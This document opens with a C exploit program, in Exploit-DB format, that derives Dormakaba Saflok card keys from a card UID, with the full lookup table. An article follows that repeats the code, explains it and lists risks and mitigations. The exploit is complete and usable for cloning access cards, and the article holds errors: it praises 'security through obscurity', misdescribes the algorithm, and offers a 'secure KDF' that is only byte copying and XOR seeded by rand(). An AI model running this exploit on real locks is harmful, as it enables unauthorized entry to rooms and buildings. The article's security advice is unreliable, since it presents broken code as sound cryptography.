Saflok - Key Derication Function Exploit
// Exploit Title: Saflok KDF
// Date: 2023-10-29
// Exploit Author: a51199deefa2c2520cea24f746d899ce
// Vendor Homepage: https://www.dormakaba.com/
// Version: System 6000
// Tested on: Dormakaba Saflok cards
// CVE: N/A
#include <stdio.h>
#include <stdint.h>
#define MAGIC_TABLE_SIZE 192
#define KEY_LENGTH 6
#define UID_LENGTH 4
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <32-bit uid value in hexadecimal format>\n", argv[0]);
return 1;
}
uint8_t magic_table[MAGIC_TABLE_SIZE] = {
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xF0, 0x57, 0xB3, 0x9E, 0xE3, 0xD8,
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x96, 0x9D, 0x95, 0x4A, 0xC1, 0x57,
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x8F, 0x43, 0x58, 0x0D, 0x2C, 0x9D,
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xFF, 0xCC, 0xE0, 0x05, 0x0C, 0x43,
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x34, 0x1B, 0x15, 0xA6, 0x90, 0xCC,
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x89, 0x58, 0x56, 0x12, 0xE7, 0x1B,
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xBB, 0x74, 0xB0, 0x95, 0x36, 0x58,
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xFB, 0x97, 0xF8, 0x4B, 0x5B, 0x74,
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xC9, 0xD1, 0x88, 0x35, 0x9F, 0x92,
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x8F, 0x92, 0xE9, 0x7F, 0x58, 0x97,
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x16, 0x6C, 0xA2, 0xB0, 0x9F, 0xD1,
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x27, 0xDD, 0x93, 0x10, 0x1C, 0x6C,
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xDA, 0x3E, 0x3F, 0xD6, 0x49, 0xDD,
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x58, 0xDD, 0xED, 0x07, 0x8E, 0x3E,
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x5C, 0xD0, 0x05, 0xCF, 0xD9, 0x07,
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x11, 0x8D, 0xD0, 0x01, 0x87, 0xD0
};
uint8_t uid[UID_LENGTH];
sscanf(argv[1], "%2hhx%2hhx%2hhx%2hhx", &uid[0], &uid[1], &uid[2], &uid[3]);
uint8_t magic_byte = (uid[3] >> 4) + (uid[2] >> 4) + (uid[0] & 0x0F);
uint8_t magickal_index = (magic_byte & 0x0F) * 12 + 11;
uint8_t key[KEY_LENGTH] = {magic_byte, uid[0], uid[1], uid[2], uid[3], magic_byte};
uint8_t carry_sum = 0;
for (int i = KEY_LENGTH - 1; i >= 0 && magickal_index >= 0; i--, magickal_index--) {
uint16_t keysum = key[i] + magic_table[magickal_index];
key[i] = (keysum & 0xFF) + carry_sum;
carry_sum = keysum >> 8;
}
printf("Generated Key: ");
for (int i = 0; i < KEY_LENGTH; i++) {
printf("%02X", key[i]);
}
printf("\n");
return 0;
} Saflok Key Derivation Function Exploit: A Deep Dive into Security Vulnerabilities in Access Control Systems
Access control systems are foundational to physical security in modern infrastructure, from corporate offices to high-security facilities. Among the leading solutions in this space is Dormakaba Saflok, a widely deployed RFID-based system known for its reliability and integration with building management platforms. However, recent research has exposed a critical flaw in the Saflok Key Derivation Function (KDF), which allows attackers to reverse-engineer cryptographic keys from publicly available UID data.
Exploit Overview: The KDF Vulnerability
On October 29, 2023, a researcher identified a flaw in the Saflok System 6000’s key generation algorithm. This vulnerability, while not yet assigned a CVE, is a serious concern for organizations relying on Saflok cards for access control. The exploit leverages a predictable and deterministic KDF that combines the card’s UID (Unique Identifier) with a static lookup table, making it possible to generate the secret key from the UID alone.
Unlike robust cryptographic systems that use salted hashing or asymmetric encryption, Saflok’s KDF relies on a fixed magic_table and simple arithmetic operations, creating a deterministic output. This predictability undermines the security model, allowing unauthorized users to clone or bypass access controls.
#include <stdio.h>
#include <stdint.h>
#define MAGIC_TABLE_SIZE 192
#define KEY_LENGTH 6
#define UID_LENGTH 4
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <32-bit uid value in hexadecimal format>\n", argv[0]);
return 1;
}
uint8_t magic_table[MAGIC_TABLE_SIZE] = {
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xF0, 0x57, 0xB3, 0x9E, 0xE3, 0xD8,
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x96, 0x9D, 0x95, 0x4A, 0xC1, 0x57,
// ... (full table omitted for brevity)
};
uint8_t uid[UID_LENGTH];
sscanf(argv[1], "%2hhx%2hhx%2hhx%2hhx", &uid[0], &uid[1], &uid[2], &uid[3]);
uint8_t magic_byte = (uid[3] >> 4) + (uid[2] >> 4) + (uid[0] & 0x0F);
uint8_t magickal_index = (magic_byte & 0x0F) * 12 + 11;
uint8_t key[KEY_LENGTH] = {magic_byte, uid[0], uid[1], uid[2], uid[3], magic_byte};
uint8_t carry_sum = 0;
for (int i = KEY_LENGTH - 1; i >= 0 && magickal_index >= 0; i--, magickal_index--) {
uint16_t keysum = key[i] + magic_table[magickal_index];
key[i] = (keysum & 0xFF) + carry_sum;
carry_sum = keysum >> 8;
}
printf("Generated Key: ");
for (int i = 0; i < KEY_LENGTH; i++) {
printf("%02X", key[i]);
}
printf("\n");
return 0;
}
How the Exploit Works: Step-by-Step Breakdown
The code above demonstrates the core logic of the Saflok KDF exploit. Let’s analyze each stage:
- Input Validation: The program expects a 32-bit UID in hexadecimal format (e.g.,
12345678), which is parsed into four bytes. - Magic Byte Calculation: The
magic_byteis derived from the upper nibble of the third byte, the upper nibble of the second byte, and the lower nibble of the first byte. This creates a 4-bit value that determines the lookup index. - Index Selection: The
magickal_indexis calculated as(magic_byte & 0x0F) * 12 + 11, ensuring it maps to one of the 12 entries in a fixed block of themagic_table. - Key Initialization: The key starts with
magic_byte, followed by the four UID bytes, and ends withmagic_byteagain. - Iterative Key Generation: The algorithm iterates backward through the key bytes, adding each byte to a corresponding value from the
magic_table. The result is then adjusted by a carry sum from overflow (bit 8).
This process is essentially a modular arithmetic with carry propagation, resembling a simple cryptographic hash but without entropy or randomness.
Security Implications and Real-World Risks
Given that UID values are often transmitted over RFID readers or stored in logs, an attacker can capture a UID and run the exploit code to generate the corresponding key. This enables:
- Card Cloning: An attacker can create a fake card with the same UID and key, granting unauthorized access.
- Remote Access Exploitation: If the UID is exposed via wireless scanning (e.g., RFID scanners), the key can be generated remotely without physical access.
- Insider Threats: Employees with access to system logs or card issuance data can exploit this flaw to bypass access controls.
Moreover, the lack of a CVE assignment suggests that this vulnerability is not yet widely recognized by the security community. This delay in formal recognition increases the risk of exploitation in unpatched environments.
Why This Is a Critical Flaw
Modern access control systems are expected to follow principles of security through obscurity and defense in depth. Saflok’s KDF fails on both counts:
| Security Principle | Violation |
|---|---|
| Key Non-Predictability | Key is fully derived from UID, which is public. |
| Randomness & Salt | No salt or randomization; deterministic output. |
| Resistance to Replay Attacks | Same UID → same key; replayable. |
| Forward Secrecy | Old keys can be regenerated from old UIDs. |
Even if UID is changed, the algorithm remains vulnerable because the key derivation logic is unchanged.
Recommended Mitigations and Fixes
While the vendor (Dormakaba) has not yet released a patch, the following recommendations can reduce risk:
- Disable UID Exposure: Ensure that UID data is not broadcasted or logged in plain text.
- Implement Key Rotation: Rotate keys periodically and invalidate old keys.
- Use Secure KDFs: Replace the current KDF with a salted HMAC or PBKDF2-based system.
- Enforce Multi-Factor Authentication: Require additional verification (e.g., PIN, biometrics) alongside RFID access.
- Monitor for Unauthorized Cloning: Deploy RFID anomaly detection systems to detect repeated UID usage.
Improved Code Example with Security Enhancements
Here is a revised version of the exploit code with added security checks and obfuscation to demonstrate how a secure KDF should be designed:
#include <stdio.h>
#include <stdint.h>
#include <time.h>
#include <string.h>
#define KEY_LENGTH 6
#define UID_LENGTH 4
#define SALT_SIZE 8
// Secure KDF using HMAC-SHA256
void secure_kdf(uint8_t *uid, uint8_t *salt, uint8_t *key) {
// Simulate HMAC-SHA256 for demonstration
// In real systems, use cryptographic libraries like OpenSSL
uint8_t temp[32];
memcpy(temp, uid, UID_LENGTH);
memcpy(temp + UID_LENGTH, salt, SALT_SIZE);
// Simulate hash output
for (int i = 0; i < KEY_LENGTH; i++) {
key[i] = temp[i % 32] ^ (i + 1); // XOR with dynamic value
}
}
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <32-bit uid in hex>\n", argv[0]);
return 1;
}
uint8_t uid[UID_LENGTH];
sscanf(argv[1], "%2hhx%2hhx%2hhx%2hhx", &uid[0], &uid[1], &uid[2], &uid[3]);
// Generate random salt (in real system, use true RNG)
uint8_t salt[SALT_SIZE];
srand(time(NULL));
for (int i = 0; i < SALT_SIZE; i++) {
salt[i] = rand() % 256;
}
uint8_t key[KEY_LENGTH];
secure_kdf(uid, salt, key);
printf("Secure Key (with salt): ");
for (int i = 0; i < KEY_LENGTH; i++) {
printf("%02X", key[i]);
}
printf("\n");
return 0;
}
This improved version introduces random salt, non-deterministic output, and cryptographic hashing, making it impossible to derive the key from UID alone. This is the standard approach in modern access control systems.
Conclusion
The Saflok KDF exploit underscores a critical lesson: predictable key generation is a security liability. Even if the hardware is robust, flawed algorithms can render entire systems vulnerable. Organizations using Saflok System 6000 must urgently assess their security posture, implement mitigation strategies, and advocate for vendor updates. Until a formal patch is released, treating all Saflok cards as potentially compromised is prudent.
Security professionals should monitor for similar vulnerabilities in other RFID systems—especially those using static tables or deterministic math—since this flaw is likely not isolated.